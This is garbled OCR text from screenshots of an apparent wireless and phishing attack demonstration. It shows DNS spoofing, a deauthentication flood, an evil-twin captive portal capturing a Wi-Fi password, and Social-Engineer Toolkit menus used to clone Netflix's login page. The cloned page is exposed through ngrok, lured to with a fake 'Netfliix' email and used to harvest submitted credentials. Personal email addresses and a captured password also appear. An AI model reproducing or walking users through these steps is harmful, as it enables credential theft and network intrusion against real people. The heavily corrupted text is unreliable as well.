Attempts: 0

DHCP ips given to possible comected clients
192,169,1,33 341e1:24:56:87:20 (LAPTOP-FF1B62EK)

DNS - o x

dnsspoo: Listening on ulaninon [udp dst port 53 and not src 152,169.1,1]

192,169,1,33,49177 > 192,169,1,1,53: 31176+ A7 trouter?-neu-a, trouter , teans microsoft.,con
192,169,133 65378 > 192,169,1,1.53; 37837+ A7 sacounload ncafes,con

192/169,1.33,58051 > 192,169,1,1.53; 51966+ A7 uww,msFtcomnecttest. con

192,169,133 65456 > 192.169.11.63: 2887L+ A7 uksouth-prad.not iFisations, teans. nicrosoft.con
192,169,1,33,56317 > 192,169,1,1.53: 41531+ A7 clientsd.google,con

192,169,133,51712 > 192,169,1.1.53: 26+ A2 ntalk,google, con

192,169,133 56861 > 192,169,1,1,53; 47881+ A7 trouter2-neua, trouter, teans microsoft.,con
L2955 04 19216911550 5295+ AP e ncrosof. con

Deauth

19:03:40 Sending Defuth (code 7) to broadcast
19:03:41 Sending Defuth (code 7) to broadcast
19:03:41 Sending Defuth (code 7) to broadcast
19:03:42 Sending Defuth (code 7) to broadcast
19:03:42 Sending Defuth (code 7) to broadcast
19:03:43 Sending Defuth (code 7) to broadcast
19:03:43 Sending Defuth (code 7) to broadcast
19:03:44 Sending Defuth (code 7) to broadcast
19:03:44 Sending Defuth (de 7) to broadcast
19:03:45  Sending Defuth (Wde 7) to broadcast
19:03:45  Sending Defuth (code 7) to broadcast
19:03:45  Sending Defuth (code 7) to broadcast
19:03:46 Sending Defuth (code 7) to broadcast
19:03:46 Sending Defuth (code 7) to broadcast
0547 Sening Dt (cade 7 o rosdosst

BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F :0:EB:0D]
BSSID: [1C:15:1F 0E:EB:0D]

Webserver - o x
0421 19005655 Corver.o.1466) server startad (lighttod,4.55)
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Wireless

Action needed for said 2
Tap to open the browser and
connect.

18:04
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C O @ Notsecure | msftconnecttest.com/redirect * @ ¢

Apps  FD Man-in-the-Middle.. @ How to Hack Wi-Fi @ Howto Hack Wifi .. @) Howto Load Kali Li.. [ IEEE Xplore Digital 1 Computer Hacking. (PDF) Cyber-Attack.

Wireless network, ESSID:
said

Enter your wireless network password to get internet access

IPassword

Show password B

bmit
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Wireless network, ESSID
said

Enter your wireless network password to get internet access

ilovefootball

Show password &

Submit
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Control - o x
Evil Tuin P Info /7 BSSTI: 10:15:1F10E1ER:0D /7 Chanmel: 1 /7 ESSTI: said

Online tine
00:08:13

Password captured successfully:
ilovefootball

The passuord was saved on File: [/root/evil_tuin_captive_portal_passord-said,txt]
Press [Enter] on the main script window to continue, this window will be closed
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File Actions Edit View Help

[—] Follow me on Twitter: @Hackingbave [—]
[—1 Homepage: https://wwi. trustedsec.con [—1
Welcome to the Social-Engineer Toolkit (SET).

The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://wm.trustedsec.con

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.con/trustedsec/ptf to update all your tools!

Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 111
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The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://wm.trustedsec.con

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.con/trustedsec/ptf to update all your tools!

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.

set>2 1
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The Web-Jacking Attack method was introduced by white_sheep, emgent. This method util
izes iframe replacements to make the highlighted URL link to appear legitimate howeve
r when clicked a window pops up then is replaced with the malicious link. You can edi
t the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu
. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvest
er/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection
through HTA files which can be used for Windows-based powershell exploitation throug

h the browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

ebattack>3 |
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6) Multi-Attack Web Method
7) HTA Attack Method

99) Return to Main Menu
set:webattack>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates

2) site Cloner

3) Custom Import

99) Return to Webattack Menu

set:webattack>2 I
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s
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a
report

—— % IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS % IMPORTANT % ——

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.
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If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

cbattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.20]:19
168.1..

[-] SET supports both HTTP and HTTPS

[-] Example: http://wm.thisisafakesite.com

set:webattack> Enter the url to clone:https://wm.netflix.com/gb/login

[*] Cloning the website: https://wmi.netflix.com/gb/login
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available
. Regardless, this captures all POSTs on a website.

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[+] Information will be displayed to you as it arrives below:
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~$ cd Desktop
~/besktop$ sudo ./ngrok http 8oll
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ngrok by @inconshreveable

Session Status
Session Expires
Version

Region

Web Interface
Forwarding
Forwarding

Connections

online
7 hours, 56 minutes
2.3.35
United States (us)
http://127.0
http: //2efabecf.ngrol

1:4040

(Ctrisc to quit)

RIS/ ERERITIRE - http://localhost:80

L opn  rt1
° ° 0.00

rts  pse  poe
0.00 0.00 0.00
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Account Update 00:50
Hi Nairah, We,ve update our customer account due for the secu

R Accounts

Hotmail 133
said.ahmed96@hotmail....

Folders
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Account Update

&  This message has been identified as junk. Not junk

@ Netfliix <news@netfliix.com>
00:50

To: said.ahmed96@hotmail.com

I

Hi Nairah,

We,ve update our customer account due for the security reason. To view and see your account information, visit
your account through the link below.
htt, '3a070860.ngrok.io

Your friend at Netfliix
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NETFLIX

Sign In

nairahhassan97@gmail.com

Remember me Need help?

Sign up now.
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GOT A HIT! Printing the outpu

PARAM: flow=websiteSignUp
POSSIBLE USERNAME FTELD FOUND: mod
POSSIBLE USERNAME FIELD FOUND: action=loginAction

POSSIBLE USERNAME FIELD FOUND: withFields=rememberMe,nextPage,userLoginId,password,co
untryCode, countryTsoCode, recaptchaResponseToken, recaptchaError, recaptchaResponseTime
POSSTBLE PASSWORD FIELD FOUND: withFields=rememberMe,nextPage,userLoginId,password,co
untryCode, countryTsoCode, recaptchaResponseToken, recaptchakrror, recaptchaResponseTime
PARAM: authURL=1587597732252. 5+4kyL2Z64Wc jwkaW91Esppcaaw=

PARAM: nextPage:
POSSIBLE PASSWORD FIELD FOUND: showPassword=
PARAM: countryCode=+44

PARAM: countryIsoCode=GB

PARAM: recaptchaResponseToken=

PARAM: recaptchaError=

PARAM: recaptchaResponseTime=46

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

192.168.1.19 - - [23/Apr/2
L}

:41] "GET /favicon.ico HTTP/1.1" 404 -
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